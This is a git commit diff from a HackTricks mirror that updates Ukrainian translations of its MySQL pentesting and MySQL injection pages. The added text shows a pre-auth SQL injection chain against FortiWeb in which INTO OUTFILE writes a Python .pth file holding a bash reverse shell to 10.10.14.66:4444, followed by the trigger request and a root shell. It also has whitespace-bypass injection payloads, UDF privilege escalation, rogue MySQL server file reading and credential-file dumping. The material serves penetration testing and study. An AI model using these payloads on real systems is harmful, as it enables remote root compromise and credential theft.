mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md', 'src/
This commit is contained in:
parent
8e80e8feda
commit
08187e78ed
@ -1,10 +1,15 @@
|
||||
# 3306 - Pentesting Mysql
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## References
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Основна інформація**
|
||||
|
||||
**MySQL** можна описати як відкриту систему управління реляційними базами даних (**RDBMS**), яка доступна безкоштовно. Вона працює на **Structured Query Language (SQL)**, що дозволяє управляти та маніпулювати базами даних.
|
||||
**MySQL** можна описати як систему управління реляційними базами даних (RDBMS) з відкритим вихідним кодом, яка доступна безкоштовно. Вона працює на **Structured Query Language (SQL)**, що дозволяє управляти та маніпулювати базами даних.
|
||||
|
||||
**Порт за замовчуванням:** 3306
|
||||
```
|
||||
@ -34,7 +39,7 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds
|
||||
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
|
||||
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
||||
```
|
||||
### [**Брутфорс**](../generic-hacking/brute-force.md#mysql)
|
||||
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
|
||||
|
||||
### Записати будь-які бінарні дані
|
||||
```bash
|
||||
@ -109,9 +114,46 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
## MySQL довільне читання файлів клієнтом
|
||||
#### INTO OUTFILE → Python `.pth` RCE (специфічні конфігураційні хуки сайту)
|
||||
|
||||
Насправді, коли ви намагаєтеся **завантажити дані локально в таблицю** **вміст файлу**, сервер MySQL або MariaDB запитує **клієнта, щоб прочитати його** і надіслати вміст. **Тоді, якщо ви можете підробити mysql клієнт для підключення до вашого власного MySQL сервера, ви можете читати довільні файли.**\
|
||||
Зловживаючи класичним примітивом `INTO OUTFILE`, можливо отримати *випадкове виконання коду* на цілях, які пізніше виконують **Python** скрипти.
|
||||
|
||||
1. Використовуйте `INTO OUTFILE`, щоб скинути власний **`.pth`** файл у будь-який каталог, що автоматично завантажується `site.py` (наприклад, `.../lib/python3.10/site-packages/`).
|
||||
2. Файл `.pth` може містити *один рядок*, що починається з `import `, за яким слідує випадковий код Python, який буде виконуватись щоразу, коли запускається інтерпретатор.
|
||||
3. Коли інтерпретатор неявно виконується CGI-скриптом (наприклад, `/cgi-bin/ml-draw.py` з shebang `#!/bin/python`), корисне навантаження виконується з тими ж привілеями, що й процес веб-сервера (FortiWeb виконував його як **root** → повне попереднє RCE).
|
||||
|
||||
Приклад корисного навантаження `.pth` (один рядок, пробіли не можуть бути включені в фінальне SQL навантаження, тому може знадобитися hex/`UNHEX()` або конкатенація рядків):
|
||||
```python
|
||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||
```
|
||||
Приклад створення файлу через запит **UNION** (символи пробілу замінені на `/**/` для обходу фільтра пробілів `sscanf("%128s")` і збереження загальної довжини ≤128 байт):
|
||||
```sql
|
||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
||||
```
|
||||
Важливі обмеження та обходи:
|
||||
|
||||
* `INTO OUTFILE` **не може перезаписувати** існуючі файли; виберіть нове ім'я файлу.
|
||||
* Шлях до файлу визначається **відносно CWD MySQL**, тому префікс `../../` допомагає скоротити шлях і обійти обмеження абсолютного шляху.
|
||||
* Якщо введення зловмисника витягується з `%128s` (або подібного), будь-який пробіл обірве корисне навантаження; використовуйте коментарі MySQL `/**/` або `/*!*/` для заміни пробілів.
|
||||
* Користувач MySQL, який виконує запит, потребує привілею `FILE`, але в багатьох пристроях (наприклад, FortiWeb) служба працює як **root**, надаючи доступ на запис майже скрізь.
|
||||
|
||||
Після скидання `.pth` просто запитайте будь-який CGI, оброблений інтерпретатором python, щоб отримати виконання коду:
|
||||
```
|
||||
GET /cgi-bin/ml-draw.py HTTP/1.1
|
||||
Host: <target>
|
||||
```
|
||||
Python-процес автоматично імпортує шкідливий `.pth` і виконує оболонковий вантаж.
|
||||
```
|
||||
# Attacker
|
||||
$ nc -lvnp 4444
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
---
|
||||
|
||||
## MySQL довільне читання файлу клієнтом
|
||||
|
||||
Насправді, коли ви намагаєтеся **завантажити дані локально в таблицю** **вміст файлу**, сервер MySQL або MariaDB запитує **клієнта, щоб прочитати його** і надіслати вміст. **Отже, якщо ви можете підробити mysql клієнт, щоб підключитися до вашого власного MySQL сервера, ви можете читати довільні файли.**\
|
||||
Зверніть увагу, що це поведінка при використанні:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
@ -123,9 +165,9 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**Початковий PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**У цій статті ви можете побачити повний опис атаки і навіть як її розширити до RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Тут ви можете знайти огляд атаки:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
|
||||
@ -133,9 +175,9 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
|
||||
|
||||
## POST
|
||||
|
||||
### Mysql Користувач
|
||||
### Mysql User
|
||||
|
||||
Було б дуже цікаво, якщо mysql працює як **root**:
|
||||
Це буде дуже цікаво, якщо mysql працює як **root**:
|
||||
```bash
|
||||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
||||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||||
@ -171,9 +213,9 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
```
|
||||
### Підвищення привілеїв через бібліотеку
|
||||
|
||||
Якщо **mysql сервер працює під root** (або іншим більш привілейованим користувачем), ви можете змусити його виконувати команди. Для цього вам потрібно використовувати **використовувані користувачем функції**. А щоб створити функцію, визначену користувачем, вам знадобиться **бібліотека** для ОС, на якій працює mysql.
|
||||
Якщо **mysql сервер працює від імені root** (або іншого більш привілейованого користувача), ви можете змусити його виконувати команди. Для цього вам потрібно використовувати **функції, визначені користувачем**. А щоб створити функцію, визначену користувачем, вам знадобиться **бібліотека** для ОС, на якій працює mysql.
|
||||
|
||||
Зловмисну бібліотеку можна знайти всередині sqlmap і metasploit, виконавши **`locate "*lib_mysqludf_sys*"`**. Файли **`.so`** є **linux** бібліотеками, а **`.dll`** - це **Windows** бібліотеки, виберіть ту, яка вам потрібна.
|
||||
Зловмисну бібліотеку можна знайти всередині sqlmap і всередині metasploit, виконавши **`locate "*lib_mysqludf_sys*"`**. Файли **`.so`** є **linux** бібліотеками, а **`.dll`** - це **Windows** бібліотеки, виберіть ту, яка вам потрібна.
|
||||
|
||||
Якщо у вас **немає** цих бібліотек, ви можете або **пошукати їх**, або завантажити цей [**linux C код**](https://www.exploit-db.com/exploits/1518) і **скомпілювати його всередині вразливої linux машини**:
|
||||
```bash
|
||||
@ -222,7 +264,7 @@ cat /etc/mysql/debian.cnf
|
||||
```
|
||||
Ви можете **використовувати ці облікові дані для входу в базу даних mysql**.
|
||||
|
||||
Всередині файлу: _/var/lib/mysql/mysql/user.MYD_ ви можете знайти **всі хеші користувачів MySQL** (ті, які ви можете витягти з mysql.user всередині бази даних)_._
|
||||
У файлі: _/var/lib/mysql/mysql/user.MYD_ ви можете знайти **всі хеші користувачів MySQL** (ті, які ви можете витягти з mysql.user всередині бази даних)_._
|
||||
|
||||
Ви можете витягти їх, виконавши:
|
||||
```bash
|
||||
@ -230,13 +272,13 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
|
||||
```
|
||||
### Увімкнення журналювання
|
||||
|
||||
Ви можете увімкнути журналювання запитів mysql, відкоментувавши наступні рядки у файлі `/etc/mysql/my.cnf`:
|
||||
Ви можете увімкнути журналювання запитів mysql у файлі `/etc/mysql/my.cnf`, розкоментувавши наступні рядки:
|
||||
|
||||
.png>)
|
||||
|
||||
### Корисні файли
|
||||
|
||||
Конфігураційні файли
|
||||
Файли конфігурації
|
||||
|
||||
- windows \*
|
||||
- config.ini
|
||||
@ -609,6 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
|
||||
## Посилання
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,4 +1,4 @@
|
||||
# MySQL ін'єкція
|
||||
# MySQL injection
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -64,7 +64,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
- `group_concat()`
|
||||
- `Limit X,1`
|
||||
|
||||
### **Сліпий по одному**
|
||||
### **Сліпий один за одним**
|
||||
|
||||
- `substr(version(),X,1)='r'` або `substring(version(),X,1)=0x70` або `ascii(substr(version(),X,1))=112`
|
||||
- `mid(version(),X,1)='5'`
|
||||
@ -92,7 +92,7 @@ UniOn SeLect 1,2
|
||||
UniOn SeLect 1,2,3
|
||||
...
|
||||
```
|
||||
## MySQL на основі об'єднання
|
||||
## MySQL на основі Union
|
||||
```sql
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
||||
@ -107,7 +107,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
|
||||
### Виконання запитів через підготовлені оператори
|
||||
|
||||
Коли дозволені вкладені запити, може бути можливим обійти WAF, присвоївши змінній шістнадцяткове представлення запиту, який ви хочете виконати (використовуючи SET), а потім використати оператори PREPARE та EXECUTE MySQL для остаточного виконання запиту. Щось на зразок цього:
|
||||
Коли дозволені вкладені запити, може бути можливим обійти WAF, призначивши змінній шістнадцяткове представлення запиту, який ви хочете виконати (використовуючи SET), а потім використати оператори PREPARE та EXECUTE MySQL для остаточного виконання запиту. Щось на зразок цього:
|
||||
```
|
||||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||||
```
|
||||
@ -115,11 +115,11 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
|
||||
### Альтернативи information_schema
|
||||
|
||||
Пам'ятайте, що в "сучасних" версіях **MySQL** ви можете замінити _**information_schema.tables**_ на _**mysql.innodb_table_stats**_ або на _**sys.x$schema_flattened_keys**_ або на **sys.schema_table_statistics**
|
||||
Пам'ятайте, що в "сучасних" версіях **MySQL** ви можете замінити _**information_schema.tables**_ на _**mysql.innodb_table_stats**_ або на _**sys.x$schema_flattened_keys**_ або на **sys.schema_table_statistics**.
|
||||
|
||||
### MySQLinjection без КОМА
|
||||
### MySQLinjection без КОМ
|
||||
|
||||
Виберіть 2 стовпці без використання жодної коми ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
Виберіть 2 стовпці без використання коми ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
```
|
||||
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
||||
```
|
||||
@ -131,18 +131,40 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||||
```
|
||||
Припустимо, що є 2 стовпці (перший - це ID, а інший - це флаг), ви можете спробувати брутфорсити вміст флагу, намагаючись символ за символом:
|
||||
Припустимо, що є 2 стовпці (перший - це ID, а інший - прапор), ви можете спробувати брутфорсити вміст прапора, намагаючись символ за символом:
|
||||
```bash
|
||||
# When True, you found the correct char and can start ruteforcing the next position
|
||||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||
```
|
||||
Більше інформації в [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
|
||||
### Ін'єкція без ПРОБІЛІВ (`/**/` трюк з коментарем)
|
||||
|
||||
Деякі програми очищають або обробляють введення користувача за допомогою функцій, таких як `sscanf("%128s", buf)`, які **зупиняються на першому символі пробілу**.
|
||||
Оскільки MySQL розглядає послідовність `/**/` як коментар *і* як пробіл, її можна використовувати для повного видалення звичайних пробілів з корисного навантаження, зберігаючи при цьому синтаксичну правильність запиту.
|
||||
|
||||
Приклад ін'єкції на основі часу, що обходить фільтр пробілів:
|
||||
```http
|
||||
GET /api/fabric/device/status HTTP/1.1
|
||||
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
|
||||
```
|
||||
Який бази даних отримує як:
|
||||
```sql
|
||||
' OR SLEEP(5)-- -'
|
||||
```
|
||||
Це особливо корисно, коли:
|
||||
|
||||
* Контрольований буфер обмежений за розміром (наприклад, `%128s`) і пробіли можуть передчасно завершити введення.
|
||||
* Впровадження через HTTP заголовки або інші поля, де звичайні пробіли видаляються або використовуються як роздільники.
|
||||
* У поєднанні з `INTO OUTFILE` примітивами для досягнення повного RCE до автентифікації (див. розділ MySQL File RCE).
|
||||
|
||||
---
|
||||
|
||||
### Історія MySQL
|
||||
|
||||
Ви можете побачити інші виконання в MySQL, читаючи таблицю: **sys.x$statement_analysis**
|
||||
Ви можете побачити інші виконання всередині MySQL, читаючи таблицю: **sys.x$statement_analysis**
|
||||
|
||||
### Альтернативні версії**s**
|
||||
### Альтернативи версії**s**
|
||||
```
|
||||
mysql> select @@innodb_version;
|
||||
mysql> select @@version;
|
||||
@ -150,11 +172,12 @@ mysql> select version();
|
||||
```
|
||||
## Інші посібники з MYSQL ін'єкцій
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user